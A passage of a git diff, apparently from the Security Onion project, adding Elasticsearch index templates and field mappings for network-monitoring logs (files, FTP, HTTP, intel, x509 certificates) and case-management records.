"extracted_size": { + "type": "long" + }, + "filename": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "fuid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "is_orig": { + "type": "boolean" + }, + "local_orig": { + "type": "boolean" + }, + "md5": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "mime_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "missing_bytes": { + "type": "long" + }, + "overflow_bytes": { + "type": "long" + }, + "parent_fuid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "rx_host": { + "type": "ip" + }, + "seen_bytes": { + "type": "long" + }, + "session_ids": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sha1": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sha256": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "source": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "timedout": { + "type": "boolean" + }, + "total_bytes": { + "type": "long" + }, + "tx_host": { + "type": "ip" + } + } + }, + "ftp": { + "properties": { + "arg": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "capture_password": { + "type": "boolean" + }, + "cmdarg": { + "properties": { + "arg": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cmd": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "seq": { + "type": "long" + } + } + }, + "command": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cwd": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "data_channel": { + "properties": { + "originating_host": { + "type": "ip" + }, + "passive": { + "type": "boolean" + }, + "response_host": { + "type": "ip" + }, + "response_port": { + "type": "long" + } + } + }, + "file": { + "properties": { + "fuid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "mime_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "size": { + "type": "long" + } + } + }, + "last_auth_requested": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "passive": { + "type": "boolean" + }, + "password": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "pending_commands": { + "type": "long" + }, + "reply": { + "properties": { + "code": { + "type": "long" + }, + "msg": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "user": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "http": { + "properties": { + "captured_password": { + "type": "boolean" + }, + "client_header_names": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "info_code": { + "type": "long" + }, + "info_msg": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "orig_filenames": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "orig_fuids": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "orig_mime_depth": { + "type": "long" + }, + "orig_mime_types": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "password": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "proxied": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "range_request": { + "type": "boolean" + }, + "resp_filenames": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "resp_fuids": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "resp_mime_depth": { + "type": "long" + }, + "resp_mime_types": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "server_header_names": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "status_msg": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "tags": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "trans_depth": { + "type": "long" + } + } + }, + "intel": { + "properties": { + "file_desc": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "file_mime_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "fuid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "matched": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "seen": { + "properties": { + "conn": { + "ignore_above": 1024, + "type": "keyword", + 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"boolean" + }, + "peer": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "x509": { + "properties": { + "basic_constraints": { + "properties": { + "certificate_authority": { + "type": "boolean" + }, + "path_length": { + "type": "long" + } + } + }, + "certificate": { + "properties": { + "common_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "curve": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "exponent": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "issuer": { + "properties": { + "common_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "country": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "locality": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "organization": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "organizational_unit": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "state": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "key": { + "properties": { + "algorithm": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "length": { + "type": "long" + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "serial": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "signature_algorithm": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subject": { + "properties": { + "common_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "country": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "locality": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "organization": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "organizational_unit": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "state": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "valid": { + "properties": { + "from": { + "type": "date" + }, + "until": { + "type": "date" + } + } + }, + "version": { + "type": "long" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "log_cert": { + "type": "boolean" + }, + "san": { + "properties": { + "dns": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "email": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ip": { + "type": "ip" + }, + "other_fields": { + "type": "boolean" + }, + "uri": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/so/case-mappings.json b/salt/elasticsearch/templates/component/so/case-mappings.json new file mode 100644 index 000000000..5137b6c3a --- /dev/null +++ b/salt/elasticsearch/templates/component/so/case-mappings.json @@ -0,0 +1,253 @@ +{ + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "so_audit_doc_id": { + "ignore_above": 1024, + "type": "keyword" + }, + "so_related": { + "properties": { + "createTime": { + "type": "date" + }, + "caseId": { + "ignore_above": 1024, + "type": "keyword" + }, + "fields": { + "eager_global_ordinals": false, + "ignore_above": 1024, + "index": true, + "type": "flattened", + "index_options": "docs", + "split_queries_on_whitespace": false, + "doc_values": true + }, + "userId": { + "ignore_above": 1024, + "type": "keyword" + } + } + }, + "@timestamp": { + "type": "date" + }, + "so_artifactstream": { + "properties": { + "createTime": { + "type": "date" + }, + "userId": { + "ignore_above": 1024, + "type": "keyword" + }, + "content": { + "type": "text" + } + } + }, + "so_comment": { + "properties": { + "createTime": { + "type": "date" + }, + "caseId": { + "ignore_above": 1024, + "type": "keyword" + }, + "description": { + "type": "text" + }, + "userId": { + "ignore_above": 1024, + "type": "keyword" + } + } + }, + "so_kind": { + "ignore_above": 1024, + "type": "keyword" + }, + "so_operation": { + "ignore_above": 1024, + "type": "keyword" + }, + "so_case": { + "properties": { + "severity": { + "ignore_above": 1024, + "type": "keyword" + }, + "template": { + "ignore_above": 1024, + "type": "keyword" + }, + "completeTime": { + "type": "date" + }, + "description": { + "type": "text" + }, + "priority": { + "type": "long" + }, + "title": { + "type": "text" + }, + "assigneeId": { + "ignore_above": 1024, + "type": "keyword" + }, + "userId": { + "ignore_above": 1024, + "type": "keyword" + }, + "tags": { + "ignore_above": 1024, + "type": "keyword" + }, + "createTime": { + "type": "date" + }, + "tlp": { + "ignore_above": 1024, + "type": "keyword" + }, + "startTime": { + "type": "date" + }, + "category": { + "ignore_above": 1024, + "type": "keyword" + }, + "pap": { + "ignore_above": 1024, + "type": "keyword" + }, + "status": { + "ignore_above": 1024, + "type": "keyword" + } + } + }, + "so_artifact": { + "properties": { + "artifactType": { + "ignore_above": 1024, + "type": "keyword" + }, + "groupType": { + "ignore_above": 1024, + "type": "keyword" + }, + "sha256": { + "ignore_above": 1024, + "type": "keyword" + }, + "streamId": { + "ignore_above": 1024, + "type": "keyword" + }, + "groupId": { + "ignore_above": 1024, + "type": "keyword" + }, + "streamLength": { + "type": "long" + }, + "description": { + "type": "text" + }, + "mimeType": { + "ignore_above": 1024, + "type": "keyword" + }, + "userId": { + "ignore_above": 1024, + "type": "keyword" + }, + "tags": { + "ignore_above": 1024, + "type": "keyword" + }, + "sha1": { + "ignore_above": 1024, + "type": "keyword" + }, + "createTime": { + "type": "date" + }, + "caseId": { + "ignore_above": 1024, + "type": "keyword" + }, + "tlp": { + "ignore_above": 1024, + "type": "keyword" + }, + "ioc": { + "type": "boolean" + }, + "value": { + "type": "text", + "fields": { + "keyword": { + "ignore_above": 1024, + "type": "keyword" + } + } + }, + "md5": { + "ignore_above": 1024, + "type": "keyword" + } + } + } + } + } + }, + "_meta": { + "ecs_version": "1.12.2" + } +} diff --git a/salt/elasticsearch/templates/component/so/case-settings.json b/salt/elasticsearch/templates/component/so/case-settings.json new file mode 100644 index 000000000..46c3cdeb9 --- /dev/null +++ b/salt/elasticsearch/templates/component/so/case-settings.json @@ -0,0 +1,65 @@ +{ + "template": { + "settings": { + "index": { + "routing": { + "allocation": { + "require": { + "box_type": "hot" + } + } + }, + "mapping": { + "total_fields": { + "limit": "3000" + } + }, + "refresh_interval": "30s", + "analysis": { + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": "true", + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "char_filter": { + "whitespace_no_way": { + "pattern": "(\\s)+", + "type": "pattern_replace", + "replacement": "$1" + } + }, + "analyzer": { + "es_security_analyzer": { + "filter": [ + "lowercase", + "trim" + ], + "char_filter": [ + "whitespace_no_way" + ], + "type": "custom", + "tokenizer": "keyword" + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + }, + "number_of_shards": "1", + "number_of_replicas": "0" + } + } + }, + "version": 1, + "_meta": { + "description": "default settings for common Security Onion Cases indices" + } +} diff --git a/salt/elasticsearch/templates/component/so/common-dynamic-mappings.json b/salt/elasticsearch/templates/component/so/common-dynamic-mappings.json new file mode 100644 index 000000000..bb072133a --- /dev/null +++ b/salt/elasticsearch/templates/component/so/common-dynamic-mappings.json @@ -0,0 +1,96 @@ +{ + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "dynamic_templates": [ + { + "ip_address": { + "path_match": "*.ip", + "mapping": { + "type": "ip", + "fields": { + "keyword": { + "ignore_above": 45, + "type": "keyword" + } + } + }, + "match_mapping_type": "string" + } + }, + { + "port": { + "path_match": "*.port", + "path_unmatch": "*.data.port", + "mapping": { + "type": "integer", + "fields": { + "keyword": { + "ignore_above": 6, + "type": "keyword" + } + } + } + } + }, + { + "strings": { + "mapping": { + "type": "text", + "fields": { + "security": { + "analyzer": "es_security_analyzer", + "type": "text" + }, + "keyword": { + "ignore_above": 32765, + "type": "keyword" + } + } + }, + "match_mapping_type": "string" + } + } + ] + } + } +} diff --git a/salt/elasticsearch/templates/component/so/common-settings.json b/salt/elasticsearch/templates/component/so/common-settings.json new file mode 100644 index 000000000..7d60192c3 --- /dev/null +++ b/salt/elasticsearch/templates/component/so/common-settings.json @@ -0,0 +1,65 @@ +{ + "template": { + "settings": { + "index": { + "routing": { + "allocation": { + "require": { + "box_type": "hot" + } + } + }, + "mapping": { + "total_fields": { + "limit": "3000" + } + }, + "refresh_interval": "30s", + "analysis": { + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": "true", + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "char_filter": { + "whitespace_no_way": { + "pattern": "(\\s)+", + "type": "pattern_replace", + "replacement": "$1" + } + }, + "analyzer": { + "es_security_analyzer": { + "filter": [ + "lowercase", + "trim" + ], + "char_filter": [ + "whitespace_no_way" + ], + "type": "custom", + "tokenizer": "keyword" + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + }, + "number_of_shards": "1", + "number_of_replicas": "0" + } + } + }, + "version": 1, + "_meta": { + "description": "default settings for common Security Onion indices" + } +} diff --git a/salt/elasticsearch/templates/component/so/dtc-agent-mappings.json b/salt/elasticsearch/templates/component/so/dtc-agent-mappings.json new file mode 100644 index 000000000..871bdcc05 --- /dev/null +++ b/salt/elasticsearch/templates/component/so/dtc-agent-mappings.json @@ -0,0 +1,121 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-agent.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "agent": { + "properties": { + "ephemeral_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/so/dtc-base-mappings.json b/salt/elasticsearch/templates/component/so/dtc-base-mappings.json new file mode 100644 index 000000000..0bc940e66 --- /dev/null +++ b/salt/elasticsearch/templates/component/so/dtc-base-mappings.json @@ -0,0 +1,77 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "message": { + "type": "match_only_text", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + }, + "tags": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/so/dtc-client-mappings.json b/salt/elasticsearch/templates/component/so/dtc-client-mappings.json new file mode 100644 index 000000000..23399cc26 --- /dev/null +++ b/salt/elasticsearch/templates/component/so/dtc-client-mappings.json @@ -0,0 +1,69 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-client.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "client": { + "properties": { + "address": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/so/dtc-destination-mappings.json b/salt/elasticsearch/templates/component/so/dtc-destination-mappings.json new file mode 100644 index 000000000..5691cfb7e --- /dev/null +++ b/salt/elasticsearch/templates/component/so/dtc-destination-mappings.json @@ -0,0 +1,74 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-destination.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "destination": { + "properties": { + "geo": { + "properties": { + "country_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + } + } + } + } + } + } + } + } +} + diff --git a/salt/elasticsearch/templates/component/so/dtc-dns-mappings.json b/salt/elasticsearch/templates/component/so/dtc-dns-mappings.json new file mode 100644 index 000000000..56a529bf2 --- /dev/null +++ b/salt/elasticsearch/templates/component/so/dtc-dns-mappings.json @@ -0,0 +1,73 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-dns.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "dns": { + "properties": { + "answers": { + "properties": { + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/so/dtc-ecs-mappings.json b/salt/elasticsearch/templates/component/so/dtc-ecs-mappings.json new file mode 100644 index 000000000..549385123 --- /dev/null +++ b/salt/elasticsearch/templates/component/so/dtc-ecs-mappings.json @@ -0,0 +1,69 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-agent.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "ecs": { + "properties": { + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/so/dtc-event-mappings.json b/salt/elasticsearch/templates/component/so/dtc-event-mappings.json new file mode 100644 index 000000000..d17b832dc --- /dev/null +++ b/salt/elasticsearch/templates/component/so/dtc-event-mappings.json @@ -0,0 +1,171 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-event.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "event": { + "properties": { + "action": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + }, + "category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + }, + "created": { + "type": "date", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + }, + "dataset": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + }, + "ingested": { + "type": "date", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + }, + "module": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + }, + "outcome": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + }, + "timezone": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "keyword": { + "type": "keyword" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/so/dtc-file-mappings.json b/salt/elasticsearch/templates/component/so/dtc-file-mappings.json new file mode 100644 index 000000000..88152760a --- /dev/null +++ 